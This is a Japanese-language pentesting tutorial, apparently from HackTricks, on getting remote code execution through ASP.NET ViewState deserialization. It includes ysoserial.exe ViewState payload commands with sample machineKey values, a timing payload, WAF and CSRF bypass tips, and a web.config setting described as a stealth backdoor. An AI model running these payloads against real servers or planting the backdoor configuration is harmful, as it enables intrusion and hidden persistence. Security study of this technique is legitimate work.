</details>
|
||||
|
|
|
|||
|
|
@ -1,28 +1,28 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS＆HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
|
||||
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
このPOSTでは、java.io.Serializableを使用した例が説明されます。
|
||||
このPOSTでは、`java.io.Serializable` を使用した例が説明されます。
|
||||
|
||||
# Serializable
|
||||
|
||||
Javaの`Serializable`インターフェース（`java.io.Serializable`）は、クラスが**シリアライズ**および**デシリアライズ**される必要がある場合に実装する必要があるマーカーインターフェースです。Javaオブジェクトのシリアライズ（書き込み）は、[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html)を使用して行われ、デシリアライズ（読み取り）は、[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)を使用して行われます。
|
||||
Javaの `Serializable` インターフェース（`java.io.Serializable` は、**シリアライズ**および**デシリアライズ**されるクラスが実装する必要があるマーカーインターフェースです。Javaオブジェクトのシリアライズ（書き込み）は、[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) を使用して行われ、デシリアライズ（読み取り）は、[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) を使用して行われます。
|
||||
|
||||
シリアライズ可能な**Personクラス**の例を見てみましょう。このクラスは、**readObject**関数を**上書き**しています。したがって、この**クラス**の**任意のオブジェクト**が**デシリアライズ**されると、この**関数**が**実行**されます。\
|
||||
この例では、PersonクラスのreadObject関数が、ペットのeat()関数とDogのeat()関数（何らかの理由で）を呼び出しています。Dogのeat()関数は**calc.exe**を呼び出します。**この計算機を実行するために、Personオブジェクトをシリアライズしてデシリアライズする方法を見てみましょう：**
|
||||
**シリアライズ可能な** **Personクラス**の例を見てみましょう。このクラスは **readObject** 関数を**上書き**しており、この **クラス**の **任意のオブジェクト**が **デシリアライズ**されると、この **関数**が **実行**されます。\
|
||||
この例では、Personクラスの **readObject 関数**は、彼のペットの `eat()` 関数と、Dogの `eat()` 関数（何らかの理由で）が **calc.exe** を呼び出すようになっています。**この計算機を実行するためにPersonオブジェクトをシリアライズおよびデシリアライズする方法を見ていきます:**
|
||||
|
||||
**次の例は、[https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) から取得されています**
|
||||
```java
|
||||
import java.io.Serializable;
|
||||
import java.io.*;
|
||||
|
|
@ -93,25 +93,6 @@ payloadTest("test.ser");
|
|||
}
|
||||
}
|
||||
```
|
||||
この例は[https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)から取られました。
|
||||
|
||||
## 結論
|
||||
|
||||
この非常に基本的な例では、ここでの「脆弱性」は、**readObject**関数が**他の脆弱な関数を呼び出している**ために発生しています。
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか？** **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
この非常に基本的な例でわかるように、ここでの「脆弱性」は、**readObject** 関数が**他の脆弱な関数を呼び出している**ために発生しています。
|
||||
|
|
|
|||
|
|
@ -1,255 +1,15 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**この投稿の内容は**[**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) **から抽出されました**
|
||||
|
||||
# はじめに
|
||||
|
||||
ASP.NETのWebアプリケーションでは、ViewStateを使用してページの状態を維持し、Webフォームでデータを永続化します。
|
||||
|
||||
通常、有効なViewStateを偽造するために、Webサーバー上でコードを実行することが可能です。これは、**MAC検証**機能が**無効化**されている場合や、以下の情報を知っている場合に行うことができます。
|
||||
|
||||
* **.NET Frameworkバージョン4.5より前の場合、検証キーとそのアルゴリズム**を**事前に**知っている場合
|
||||
* **.NET Frameworkバージョン4.5以降の場合、検証キー、検証アルゴリズム、復号キー、および復号アルゴリズム**を知っている場合
|
||||
|
||||
操作の改ざん攻撃を防ぐために、.NET Frameworkは、`LosFormatter`クラスを使用してシリアル化されたViewStateを**署名と暗号化**することができます。その後、メッセージ認証コード（MAC）検証メカニズムを使用して署名を検証します。`ObjectStateFormatter`クラスは、署名、暗号化、および検証のタスクを実行します。署名および/または暗号化メカニズムを実行するために必要な**キー**は、ASP.NETアプリケーションの**`web.config`**（アプリケーションレベル）または**`machine.config`**（マシンレベル）ファイルの`machineKey`セクションに格納されることが通常です。これは、ウェブファームまたはクラスタ内のロードバランサの背後で同じアプリケーションを提供するために複数のウェブサーバーが使用される場合に一般的です。以下は、.NET Frameworkバージョン2.0以降を使用するASP.NETアプリケーションの設定ファイルの`machineKey`セクションの形式を示しています。
|
||||
```markup
|
||||
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
|
||||
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
|
||||
```
|
||||
# RCEを無効化したViewState MAC検証
|
||||
|
||||
過去には、`enableViewStateMac`プロパティを`False`に設定するだけで、MAC検証を無効化することができました。Microsoftは2014年9月にパッチをリリースし、.NET Frameworkのすべてのバージョンでこのプロパティを無視してMAC検証を強制するようにしました。一部の人々は「_ViewState MACはもはや無効化できない_」と信じているかもしれませんが、`AspNetEnforceViewStateMac`レジストリキーをゼロに設定することで、MAC検証機能を無効化することができます。設定場所は以下の通りです：
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
代わりに、次の**危険な設定**をアプリケーションレベルの`web.config`ファイルに追加すると、MAC検証を無効にすることもできます:
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="true" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
ViewState MAC検証が**無効化**されている場合、[YSoSerial.Net](https://github.com/pwntester/ysoserial.net)プロジェクトを使用して、`LosFormatter`ペイロードをViewStateとして生成し、サーバー上で任意のコードを実行することができます。
|
||||
{% endhint %}
|
||||
|
||||
**.NET Frameworkバージョン4.5より前**では、`__VIEWSTATE`パラメータは**MAC検証機能が無効化されている間に暗号化される**ことがありました。ほとんどの**スキャナー**は、この脆弱性を特定するために暗号化されていないViewStateパラメータを送信しようとはしません。そのため、`__VIEWSTATE`パラメータが暗号化されている場合にMAC検証が無効化されているかどうかを確認するためには、**手動のテスト**が必要です。これは、`__VIEWSTATE`パラメータに短いランダムなBase64文字列を送信することで確認できます。以下のURLは例を示しています：
|
||||
```
|
||||
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
|
||||
```
|
||||
もしターゲットのページがエラーで応答する場合、MAC検証機能は無効になっています。そうでなければ、MAC検証エラーメッセージは抑制されているはずです。\
|
||||
ただし、エラーメッセージが見えない場合には、このトリックは機能しません。
|
||||
|
||||
自動化スキャナーは、サーバーサイドで短い遅延を引き起こすペイロードを使用する必要があります。以下のASP.NETコードを実行することで、10秒の遅延を作成する例です。
|
||||
```
|
||||
System.Threading.Thread.Sleep(10000);
|
||||
```
|
||||
|
||||
```bash
|
||||
string xaml_payload = @"<ResourceDictionary
|
||||
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
|
||||
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
|
||||
xmlns:System=""clr-namespace:System;assembly=mscorlib""
|
||||
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
|
||||
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
|
||||
<ObjectDataProvider.MethodParameters>
|
||||
<System:Int32>10000</System:Int32>
|
||||
</ObjectDataProvider.MethodParameters>
|
||||
</ObjectDataProvider>
|
||||
</ResourceDictionary>";
|
||||
```
|
||||
# 有効なViewState MAC検証でのRCE
|
||||
|
||||
古いバージョン（**4.5より前**）の.NET Frameworkでは、シリアライズされたオブジェクトに署名する際に、**`TemplateSourceDirectory`**プロパティ[\[15\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory)が使用されます。しかし、バージョン**4.5以降**では、ハッシュを作成するために**`Purpose`**文字列が使用されます。これらのメカニズムは、**アプリケーションディレクトリのルートからのターゲットパス**と**ページ名**が必要です。これらのパラメータは、**URLから抽出**することができます。
|
||||
|
||||
古いフレームワークを使用し、ViewStateの暗号化を強制するアプリケーションは、**暗号化されていない署名付きViewStateを受け入れることができます**。つまり、**検証キーとそのアルゴリズムを知っているだけで、ウェブサイトを攻撃することができます**。最新の.NET Frameworkバージョンでは、`viewStateEncryptionMode`プロパティが`Never`に設定されていても、ViewStateはデフォルトで暗号化されるようです。したがって、最新の.NET Frameworkバージョンでは、ペイロードを作成するためには**復号化キーとそのアルゴリズムも必要です**。
|
||||
|
||||
ASP.NET ViewStateには、`ViewStateUserKey`というプロパティがあります[\[16\]](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969\(v=msdn.10\))。これは、クロスサイトリクエストフォージェリ（CSRF）攻撃のリスクを軽減するために使用できます[\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET)。**`ViewStateUserKey`**プロパティの値（`null`でない場合）は、ViewStateの署名プロセス中にも使用されます。このパラメータの値を知らないと攻撃を止めることができますが、**その値はクッキーや非表示の入力パラメータによってしばしば見つかることがあります**（\[17\]](https://software-security.sans.org/developer-how-to/developer-guide-csrf)に実装例が示されています）。
|
||||
|
||||
## ViewState YSoSerial.Netプラグイン
|
||||
|
||||
YSoSerial.NetのマスターとYSoSerial.Netv2では、すべての情報がわかっている場合にこのテクニックを悪用するためのプラグイン（[**こちら**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs)と[**こちら**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs)）が見つかります。
|
||||
|
||||
### **.NET Framework >= 4.5の場合:**
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
### **.NET Framework <= 4.0（レガシー）の場合：**
|
||||
|
||||
_ここでは、復号キーとそのアルゴリズムは必要ありません:_
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
||||
```
|
||||
_異なるガジェットを使用する以外にも、パスを提供する代わりに`__VIEWSTATEGENERATOR`パラメータを使用することも可能です:_
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
_デフォルトでは、ActivitySurrogateSelectorガジェットが使用されます。これには、YSoSerial.NetプロジェクトのExploitClass.csクラスをコンパイルする必要があります。ViewStateのペイロードは、**復号キーの値がわかっている場合にWAFを回避するために** **暗号化**されることもあります:_
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**注意:** YSoSerial.Netで使用されるガジェットの性質上、エクスプロイトがサーバーサイドで正常に実行された場合でも、対象のASP.NETページは常にエラーで応答します。
|
||||
{% endhint %}
|
||||
|
||||
### アプリケーションパス
|
||||
|
||||
有効なViewStateを作成するためには、次の条件が必要です。
|
||||
|
||||
* アプリケーションが.NET Frameworkバージョン4.0以下を使用していること
|
||||
* `__VIEWSTATEGENERATOR`パラメータが既知であること
|
||||
|
||||
以下のスクリーンショットは、IISでのパスツリーを示しています。
|
||||
|
||||
|
||||
|
||||
IISでの仮想ディレクトリとアプリケーションの用語に馴染みがない場合は、[\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis)を参照してください。
|
||||
|
||||
上記のURLに対してViewStateを生成するために、`--path`と`--apppath`引数は以下のようにする必要があります：
|
||||
```
|
||||
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
|
||||
--apppath=/app2/
|
||||
```
|
||||
もし私たちが「app2」がアプリケーション名であることを知らなかった場合、DNSリクエストを取得したり遅延を引き起こしたりすることで、サーバ上でコードを実行できるViewStateを見つけるまで、URLのディレクトリ名を一つずつ試行錯誤することができます。
|
||||
|
||||
### ジェネレータ
|
||||
|
||||
この場合、`--generator`引数を使用することができます。`--path`と`--apppath`引数が指定された場合、プラグインが同じ`__VIEWSTATEGENERATOR`パラメータを計算するかどうかを確認するために、`--isdebug`引数を使用することもできます。
|
||||
|
||||
## 古いバージョンの悪用
|
||||
|
||||
.NET Framework v1.1を悪用するためのガジェットは、このブログ投稿の執筆時点では特定されませんでした。
|
||||
|
||||
.NET Framework v4.0以下を使用するアプリケーションを悪用するためには、YSoSerial.Net v2.0ブランチ[\[21\]](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2)を使用することができます（これは元々別の研究の一環として開発されました[\[22\]](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/)）。ただし、このプロジェクトは一部のガジェットのみをサポートしており、対象のボックスには.NET Framework 3.5以上がインストールされている必要もあります。
|
||||
|
||||
## **その他のツール**
|
||||
|
||||
Immunity Canvasは、検証および暗号化キーが既知の場合にViewStateパラメータを作成することができるようです[\[29\]](https://vimeopro.com/user18478112/canvas/video/260982761)。以下のツールは、私が自分の作業を公開しようとしていたときに偶然リリースされたもので、非常に驚きました。
|
||||
|
||||
* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen)（Pythonで書かれています）
|
||||
* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET)（.NETで書かれています）
|
||||
|
||||
これらのツールは現在、.NET Frameworkの異なるバージョンを区別せず、レガシーの暗号化を対象としているようです。また、CSRF攻撃を防止するために使用される可能性のある`ViewStateUserKey`パラメータを使用していません。
|
||||
|
||||
# 追加のヒント
|
||||
|
||||
## **GETリクエストの使用**
|
||||
|
||||
`__VIEWSTATE`パラメータをGETリクエストのURLに含めることも可能です。制限要因はURLの長さであり、ここでは使用できるガジェットの種類が制限されます。
|
||||
|
||||
## **.NET Frameworkバージョン4.5以前の暗号化**
|
||||
|
||||
前述のように、.NET Framework 4.0およびそれ以下（v2.0からv4.0でテスト済み）を悪用する場合、`__VIEWSTATE`パラメータは暗号化する必要はありません。これは、`ViewStateEncryptionMode`プロパティが`Always`に設定されている場合でもです。ASP.NETは、リクエスト中の`__VIEWSTATEENCRYPTED`パラメータを見つけることで、ViewStateが暗号化されているかどうかを判断します（値を持つ必要はありません）。したがって、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除することで、暗号化されていないViewStateを送信することが可能です。
|
||||
|
||||
これは、検証キーとそのアルゴリズムが盗まれた場合、復号キーまたはそのアルゴリズムを変更しても攻撃を止めることはできないことを意味します。
|
||||
|
||||
ただし、WAFをバイパスするために`__VIEWSTATE`パラメータを暗号化することも可能です。
|
||||
|
||||
## **CSRF（XSRF）防止メカニズムのバイパス**
|
||||
|
||||
無効な`__VIEWSTATE`パラメータが使用された場合、ASP.NETページはエラーを生成します。ただし、`Request.Form`を直接コード内で使用する場合、ページはまだ入力を受け取ることができます。たとえば、以下のようなサーバサイドのコードで`Request.Form["txtMyInput"]`を使用することで、CSRF攻撃を実行することができます。`txtMyInput.Text`ではなく。
|
||||
|
||||
CSRF攻撃は、リクエストから`__VIEWSTATE`パラメータを削除するか、`__PREVIOUSPAGE`パラメータに無効な値を追加することによって達成することができます。`__PREVIOUSPAGE`パラメータはデフォルトで暗号化され、base64形式になっているため、値として単一の文字を提供するだけでもエラーが発生するはずです。
|
||||
|
||||
これにより、`Page.ViewStateUserKey`パラメータを設定して実装されたCSRF保護メカニズムをバイパスする可能性があります。
|
||||
|
||||
## **ViewStateGeneratorパラメータの使用**
|
||||
|
||||
`__VIEWSTATEGENERATOR`パラメータが既知の場合、アプリケーションパスを知らなくても.NET Frameworkバージョン4.0以下を使用するASP.NETアプリケーションでシリアライズされたオブジェクトに署名するために使用することができます。
|
||||
|
||||
## **WAFをバイパスするためのViewStateの分割**
|
||||
|
||||
`MaxPageStateFieldLength`プロパティが**正の値**に設定されている場合、`__VIEWSTATE`パラメータを複数の部分に分割することが可能です。デフォルト値は**負の値**であり、これは**`__VIEWSTATE`パラメータを複数の部分に分割することはできない**ことを意味します。
|
||||
|
||||
ViewStateの分割が許可されている場合、一部のWAFをバイパスするのに役立つ場合があります。
|
||||
|
||||
## **EventValidationパラメータの悪用**
|
||||
|
||||
`__EVENTVALIDATION`パラメータといくつかの他のパラメータも、`__VIEWSTATE`パラメータと同様にシリアライズされ、同様に対象となる可能性があります。`__EVENTVALIDATION`を介したデシリアライゼーションの問題を悪用するには、次の条件が必要です。
|
||||
|
||||
* POSTリクエスト
|
||||
* 入力パラメータを受け入れるASP.NETページ
|
||||
* 有効な入力パラメータ名。たとえば、以下のようなサーバサイドのコードがある場合、POSTリクエストの`myinput`パラメータです。
|
||||
```markup
|
||||
<asp:TextBox runat="server" ID="myinput" />
|
||||
```
|
||||
`__VIEWSTATE`パラメータの値は、`__EVENTVALIDATION`パラメータを悪用する際には空であってもリクエストに存在する必要があります。
|
||||
|
||||
.NET Framework 4.5以降で使用される`Purpose`文字列は、使用されるパラメータに基づいて異なります。以下の表は、.NET Frameworkで定義された`Purpose`文字列を示しています。
|
||||
|
||||
| **入力パラメータ** | **Purpose文字列** |
|
||||
| ------------------------------------------------------------ | -------------------------------------------------- |
|
||||
| “\_\_VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
|
||||
| “\_\_EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
|
||||
| P1中のP2\|P1中のP2 in “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable |
|
||||
| P1中のP2\|P3\|P4\|P1中のP2\|P3\|P4 in “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
|
||||
| P1中のP2\|P3\|P4\|P1中のP2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression |
|
||||
| P1中のP2\|P3\|P4\|P1中のP2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys |
|
||||
|
||||
上記の表は、対象となる可能性のあるすべての入力パラメータを示しています。
|
||||
|
||||
## **PreviousPageパラメータに注意**
|
||||
|
||||
リクエストに**`__PREVIOUSPAGE`**パラメータが**無効な**データで存在する場合、**アプリケーション**は**`__VIEWSTATE`**パラメータをデシリアライズしません。`__CALLBACKID`パラメータを提供することで、この動作を防ぐことができます。
|
||||
|
||||
## **エラーの信頼性**
|
||||
|
||||
前述のように、有効なViewStateが生成されたかどうかを確認するために、エラーを使用することがあります。ASP.NETは、無効な`__VIEWSTATEGENERATOR`パラメータが使用された場合、MAC検証エラーをデフォルトで表示しません。ただし、`ViewStateUserKey`プロパティが使用されると、ASP.NETはMAC検証エラーを抑制しなくなります。
|
||||
|
||||
さらに、ASP.NET Webアプリケーションは、`ViewStateUserKey`プロパティが使用されている場合でも、以下の設定でMAC検証エラーを無視することができます。
|
||||
```markup
|
||||
<appSettings>
|
||||
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
|
||||
</appSettings>
|
||||
```
|
||||
# Web.configをバックドアとして使用する
|
||||
|
||||
攻撃者がアプリケーションのルートにある**`web.config`**を**変更**できる場合、彼らはサーバー上で簡単にコードを実行できます。しかし、攻撃者にとっては、アプリケーションにステルスバックドアを埋め込むことが良い選択肢となるかもしれません。これは、**MAC検証を無効にし、`viewStateEncryptionMode`プロパティを`Always`に設定する**ことで実現できます。これにより、`ViewStateEncryptionMode`プロパティを`Auto`または`Never`に設定しないすべてのASP.NETページは常に暗号化されたViewStateパラメータを使用します。しかし、**ViewStateはMAC検証機能を使用しないため、信頼できないデータの逆シリアル化によるリモートコード実行の脆弱性が生じます**。以下に例を示します：
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<system.web>
|
||||
…
|
||||
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
|
||||
</system.web>
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="false" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
別のオプションとして、任意のキーとアルゴリズムを使用して`machineKey`セクションを設定し、他の攻撃者を防ぐことができます！
|
||||
|
||||
`EnableViewState`プロパティを`False`に設定しても、ViewStateはASP.NETによって解析されるため、この攻撃を防ぐことはできません。
|
||||
|
||||
<details>
|
||||
|
||||
